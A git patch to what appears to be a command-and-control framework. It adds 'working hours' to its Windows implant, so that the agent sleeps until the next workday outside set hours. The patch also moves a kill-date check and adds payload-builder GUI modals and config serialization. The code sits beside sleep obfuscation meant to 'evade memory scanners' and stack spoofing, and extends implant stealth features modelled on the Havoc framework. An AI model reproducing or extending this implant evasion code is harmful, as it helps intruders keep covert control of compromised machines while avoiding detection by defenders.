From 6ab3cbafa094c7b19a5f568b81b5fb08513e5fea Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Tue, 28 Oct 2025 23:02:48 +0100 Subject: [PATCH] Implemented agent working hours. --- README.md | 1 + src/agent/core/context.nim | 9 +- src/agent/core/sleepmask.nim | 49 ++++++++- src/agent/main.nim | 12 +-- src/agent/nim.cfg | 2 +- src/client/views/modals/configureKillDate.nim | 19 ++-- .../views/modals/configureWorkingHours.nim | 102 ++++++++++++++++++ src/client/views/modals/generatePayload.nim | 49 ++++++++- src/common/types.nim | 8 ++ src/server/core/builder.nim | 7 ++ 10 files changed, 230 insertions(+), 28 deletions(-) create mode 100644 src/client/views/modals/configureWorkingHours.nim diff --git a/README.md b/README.md index 56b132a..9657c28 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,7 @@ TBD - Looting and loot management - Logging of all operator activity - Self-deletion +- Agent kill date & working hours ## Screenshots diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index 8ace33d..4046914 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -33,7 +33,14 @@ proc deserializeConfiguration(config: string): AgentCtx = sleepDelay: unpacker.getUint32(), jitter: unpacker.getUint32(), sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), - spoofStack: cast[bool](unpacker.getUint8()) + spoofStack: cast[bool](unpacker.getUint8()), + workingHours: WorkingHours( + enabled: cast[bool](unpacker.getUint8()), + startHour: cast[int32](unpacker.getUint32()), + startMinute: cast[int32](unpacker.getUint32()), + endHour: cast[int32](unpacker.getUint32()), + endMinute: cast[int32](unpacker.getUint32()) + ) ), killDate: cast[int64](unpacker.getUint64()), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index 30b8ff6..dd969c4 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -574,20 +574,59 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = sleep(sleepDelay) print "[-] ", err.msg + +# Function to determine whether the agent currently operates within the configured working hours +proc withinWorkingHours(workingHours: WorkingHours): bool = + var time: SYSTEMTIME + GetLocalTime(addr time) + + if int(time.wHour) < workingHours.startHour or int(time.wHour) > workingHours.endHour: + return false + + if int(time.wHour) == workingHours.startHour and int(time.wMinute) < workingHours.startMinute: + return false + + if int(time.wHour) == workingHours.endHour and int(time.wMinute) > workingHours.endMinute: + return false + + return true + # Sleep obfuscation implemented in various techniques proc sleepObfuscate*(sleepSettings: SleepSettings) = if sleepSettings.sleepDelay == 0: return - + # Initialize required API functions let apis = initApis() # Calculate actual sleep delay with jitter - let - minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f)) - maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f)) - delay = int(rand(minDelay .. maxDelay) * 1000) + let minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f)) + let maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f)) + + var delay = int(rand(minDelay .. maxDelay) * 1000) + + # Working hours + # https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Obf.c#L650 + # If the local time is outside of the agent's working hours, we calculate the required sleep delay until the start of the next work day. + if sleepSettings.workingHours.enabled and not withinWorkingHours(sleepSettings.workingHours): + print "[*] Agent is outside of working hours." + delay = 0 + + # Get current time + var time: SYSTEMTIME + GetLocalTime(addr time) + + let minutesSinceMidnight = int(time.wHour) * 60 + int(time.wMinute) + let minutesUntilWorkday = sleepSettings.workingHours.startHour * 60 + sleepSettings.workingHours.startMinute + + if minutesSinceMidnight < minutesUntilWorkday: + # We are on the same day as the start of the work day: calculate the difference between the two timestamps + delay = int((minutesUntilWorkday - minutesSinceMidnight) * 60 - int(time.wSecond)) * 1000 + + else: + # Calculate minutes until midnight and add the minutes until the start of the workday + delay = int(((24 * 60 - minutesSinceMidnight) + minutesUntilWorkday) * 60 - int(time.wSecond)) * 1000 print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}" diff --git a/src/agent/main.nim b/src/agent/main.nim index 5f19fa8..e628c93 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -15,8 +15,8 @@ proc main() = #[ Agent routine: - 1. Check kill date - 2. Sleep Obfuscation + 1. Sleep obfuscation + 2. Check kill date 3. Register to the team server if not already connected 4. Retrieve tasks via checkin request to a GET endpoint 5. Execute task and post result @@ -25,14 +25,14 @@ proc main() = ]# while true: try: - # Check kill date and exit the agent process if it is already passed + # Sleep obfuscation to evade memory scanners + sleepObfuscate(ctx.sleepSettings) + + # Check kill date and exit the agent process if it is reached if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate: print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)." print "[*] Exiting." exit() - - # Sleep obfuscation to evade memory scanners - sleepObfuscate(ctx.sleepSettings) # Register if not ctx.registered: diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 0dd09bd..bef3021 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,7 +3,7 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" -d:VERBOSE="true" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/client/views/modals/configureKillDate.nim b/src/client/views/modals/configureKillDate.nim index d097d25..81a5dad 100644 --- a/src/client/views/modals/configureKillDate.nim +++ b/src/client/views/modals/configureKillDate.nim @@ -5,10 +5,10 @@ import ../../utils/[appImGui, colors] type KillDateModalComponent* = ref object of RootObj killDateTime: ImPlotTime - killDateLevel: cint - killDateHour: cint - killDateMinute: cint - killDateSecond: cint + killDateLevel: int32 + killDateHour: int32 + killDateMinute: int32 + killDateSecond: int32 proc KillDateModal*(): KillDateModalComponent = result = new KillDateModalComponent @@ -18,13 +18,13 @@ proc KillDateModal*(): KillDateModalComponent = # Initialize to current date # Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction let now = now() - ImPlot_MakeTime(addr result.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0) + ImPlot_MakeTime(addr result.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0) result.killDateHour = 0 result.killDateMinute = 0 result.killDateSecond = 0 -proc wrapValue(value: cint, max: cint): cint = +proc wrapValue(value: int32, max: int32): int32 = result = value mod max if result < 0: result += max @@ -35,7 +35,7 @@ proc resetModalValues*(component: KillDateModalComponent) = # Initialize to current date let now = now() - ImPlot_MakeTime(addr component.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0) + ImPlot_MakeTime(addr component.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0) component.killDateHour = 0 component.killDateMinute = 0 @@ -101,12 +101,9 @@ proc draw*(component: KillDateModalComponent): int64 = igGetContentRegionAvail(addr availableSize) - igDummy(vec2(0.0f, 10.0f)) - igSeparator() igDummy(vec2(0.0f, 10.0f)) - # OK and Cancel buttons - if igButton("OK", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond component.resetModalValues() igCloseCurrentPopup() diff --git a/src/client/views/modals/configureWorkingHours.nim b/src/client/views/modals/configureWorkingHours.nim new file mode 100644 index 0000000..1e38325 --- /dev/null +++ b/src/client/views/modals/configureWorkingHours.nim @@ -0,0 +1,102 @@ +import strutils, sequtils, times +import imguin/[cimgui, glfw_opengl, simple] +import ../../utils/[appImGui, colors] +import ../../../common/types + +type + WorkingHoursModalComponent* = ref object of RootObj + workingHours: WorkingHours + +proc WorkingHoursModal*(): WorkingHoursModalComponent = + result = new WorkingHoursModalComponent + result.workingHours = WorkingHours( + enabled: false, + startHour: 9, + startMinute: 0, + endHour: 17, + endMinute: 0 + ) + +proc resetModalValues*(component: WorkingHoursModalComponent) = + component.workingHours = WorkingHours( + enabled: false, + startHour: 9, + startMinute: 0, + endHour: 17, + endMinute: 0 + ) + +proc wrapValue(value: int32, max: int32): int32 = + result = value mod max + if result < 0: + result += max + +proc draw*(component: WorkingHoursModalComponent): WorkingHours = + result = component.workingHours + + # Center modal + let vp = igGetMainViewport() + var center: ImVec2 + ImGuiViewport_GetCenter(addr center, vp) + igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f)) + + let modalWidth = max(400.0f, vp.Size.x * 0.2) + igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32) + + var show = true + let windowFlags = ImGuiWindowFlags_None.int32 + if igBeginPopupModal("Configure Working Hours", addr show, windowFlags): + defer: igEndPopup() + + let textSpacing = igGetStyle().ItemSpacing.x + var availableSize: ImVec2 + + var charSize: ImVec2 + igCalcTextSize(addr charSize, "00", nil, false, -1.0) + let charWidth = charSize.x + 10.0f + + igText("Start: ") + igSameLine(0.0f, textSpacing) + igPushItemWidth(charWidth) + igInputScalar("##StartHours", ImGuiDataType_S32.int32, addr component.workingHours.startHour, nil, nil, "%02d", 0) + igPopItemWidth() + igSameLine(0.0f, 0.0f) + igText(":") + igSameLine(0.0f, 0.0f) + igPushItemWidth(charWidth) + igInputScalar("##StartMinute", ImGuiDataType_S32.int32, addr component.workingHours.startMinute, nil, nil, "%02d", 0) + igPopItemWidth() + + igText("End: ") + igSameLine(0.0f, textSpacing) + igPushItemWidth(charWidth) + igInputScalar("##EndHour", ImGuiDataType_S32.int32, addr component.workingHours.endHour, nil, nil, "%02d", 0) + igPopItemWidth() + igSameLine(0.0f, 0.0f) + igText(":") + igSameLine(0.0f, 0.0f) + igPushItemWidth(charWidth) + igInputScalar("##EndMinute", ImGuiDataType_S32.int32, addr component.workingHours.endMinute, nil, nil, "%02d", 0) + igPopItemWidth() + + # Wrap time values + component.workingHours.startHour = wrapValue(component.workingHours.startHour, 24) + component.workingHours.endHour = wrapValue(component.workingHours.endHour, 24) + component.workingHours.startMinute = wrapValue(component.workingHours.startMinute, 60) + component.workingHours.endMinute = wrapValue(component.workingHours.endMinute, 60) + + igGetContentRegionAvail(addr availableSize) + + igDummy(vec2(0.0f, 10.0f)) + + if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + component.workingHours.enabled = true + result = component.workingHours + component.resetModalValues() + igCloseCurrentPopup() + + igSameLine(0.0f, textSpacing) + + if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + component.resetModalValues() + igCloseCurrentPopup() \ No newline at end of file diff --git a/src/client/views/modals/generatePayload.nim b/src/client/views/modals/generatePayload.nim index 2086328..5d1b4ab 100644 --- a/src/client/views/modals/generatePayload.nim +++ b/src/client/views/modals/generatePayload.nim @@ -1,10 +1,10 @@ -import strutils, sequtils, times +import strutils, strformat, sequtils, times import imguin/[cimgui, glfw_opengl, simple] import ../../utils/[appImGui, colors] import ../../../common/[types, profile, utils] import ../../../modules/manager import ../widgets/[dualListSelection, textarea] -import ./configureKillDate +import ./[configureKillDate, configureWorkingHours] export addItem type @@ -16,11 +16,14 @@ type spoofStack: bool killDateEnabled: bool killDate: int64 + workingHoursEnabled: bool + workingHours: WorkingHours verbose: bool sleepMaskTechniques: seq[string] moduleSelection: DualListSelectionWidget[Module] buildLog*: TextareaWidget killDateModal*: KillDateModalComponent + workingHoursModal*: WorkingHoursModalComponent proc AgentModal*(): AgentModalComponent = @@ -32,6 +35,14 @@ proc AgentModal*(): AgentModalComponent = result.spoofStack = false result.killDateEnabled = false result.killDate = 0 + result.workingHoursEnabled = false + result.workingHours = WorkingHours( + enabled: false, + startHour: 0, + startMinute: 0, + endHour: 0, + endMinute: 0 + ) result.verbose = false for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high: @@ -50,6 +61,7 @@ proc AgentModal*(): AgentModalComponent = result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc) result.buildLog = Textarea(showTimestamps = false) result.killDateModal = KillDateModal() + result.workingHoursModal = WorkingHoursModal() proc resetModalValues*(component: AgentModalComponent) = component.listener = 0 @@ -59,6 +71,14 @@ proc resetModalValues*(component: AgentModalComponent) = component.spoofStack = false component.killDateEnabled = false component.killDate = 0 + component.workingHoursEnabled = false + component.workingHours = WorkingHours( + enabled: false, + startHour: 0, + startMinute: 0, + endHour: 0, + endMinute: 0 + ) component.verbose = false component.moduleSelection.reset() component.buildLog.clear() @@ -136,10 +156,11 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui igSameLine(0.0f, textSpacing) igCheckbox("##InputKillDate", addr component.killDateEnabled) igSameLine(0.0f, textSpacing) + igBeginDisabled(not component.killDateEnabled) igGetContentRegionAvail(addr availableSize) igSetNextItemWidth(availableSize.x) - if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") else: "Configure", vec2(-1.0f, 0.0f)): + if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") & " UTC" else: "Configure##KillDate", vec2(-1.0f, 0.0f)): igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32) igEndDisabled() @@ -147,6 +168,25 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui if killDate != 0: component.killDate = killDate + # Working hours + igText("Working Hours: ") + igSameLine(0.0f, textSpacing) + igCheckbox("##InputWorkingHours", addr component.workingHoursEnabled) + igSameLine(0.0f, textSpacing) + + igBeginDisabled(not component.workingHoursEnabled) + igGetContentRegionAvail(addr availableSize) + igSetNextItemWidth(availableSize.x) + + let workingHoursLabel = fmt"{component.workingHours.startHour:02}:{component.workingHours.startMinute:02} - {component.workingHours.endHour:02}:{component.workingHours.endMinute:02}" + if igButton(if component.workingHours.enabled: workingHoursLabel else: "Configure##WorkingHours", vec2(-1.0f, 0.0f)): + igOpenPopup_str("Configure Working Hours", ImGui_PopupFlags_None.int32) + igEndDisabled() + + let workingHours = component.workingHoursModal.draw() + if workingHours.enabled: + component.workingHours = workingHours + igDummy(vec2(0.0f, 10.0f)) igSeparator() igDummy(vec2(0.0f, 10.0f)) @@ -187,7 +227,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui sleepDelay: component.sleepDelay, jitter: cast[uint32](component.jitter), sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), - spoofStack: component.spoofStack + spoofStack: component.spoofStack, + workingHours: if component.workingHoursEnabled: component.workingHours else: WorkingHours(enabled: false, startHour: 0, startMinute: 0, endHour: 0, endMinute: 0) ), verbose: component.verbose, killDate: if component.killDateEnabled: component.killDate else: 0, diff --git a/src/common/types.nim b/src/common/types.nim index 1769099..ed47d31 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -311,11 +311,19 @@ type profile*: Profile client*: WsConnection + WorkingHours* = ref object + enabled*: bool + startHour*: int32 + startMinute*: int32 + endHour*: int32 + endMinute*: int32 + SleepSettings* = ref object sleepDelay*: uint32 jitter*: uint32 sleepTechnique*: SleepObfuscationTechnique spoofStack*: bool + workingHours*: WorkingHours AgentCtx* = ref object agentId*: string diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index 8eafae2..c476d7e 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -23,6 +23,13 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle packer.add(sleepSettings.jitter) packer.add(uint8(sleepSettings.sleepTechnique)) packer.add(uint8(sleepSettings.spoofStack)) + + # Working hours + packer.add(uint8(sleepSettings.workingHours.enabled)) + packer.add(uint32(sleepSettings.workingHours.startHour)) + packer.add(uint32(sleepSettings.workingHours.startMinute)) + packer.add(uint32(sleepSettings.workingHours.endHour)) + packer.add(uint32(sleepSettings.workingHours.endMinute)) # Kill date packer.add(uint64(killDate))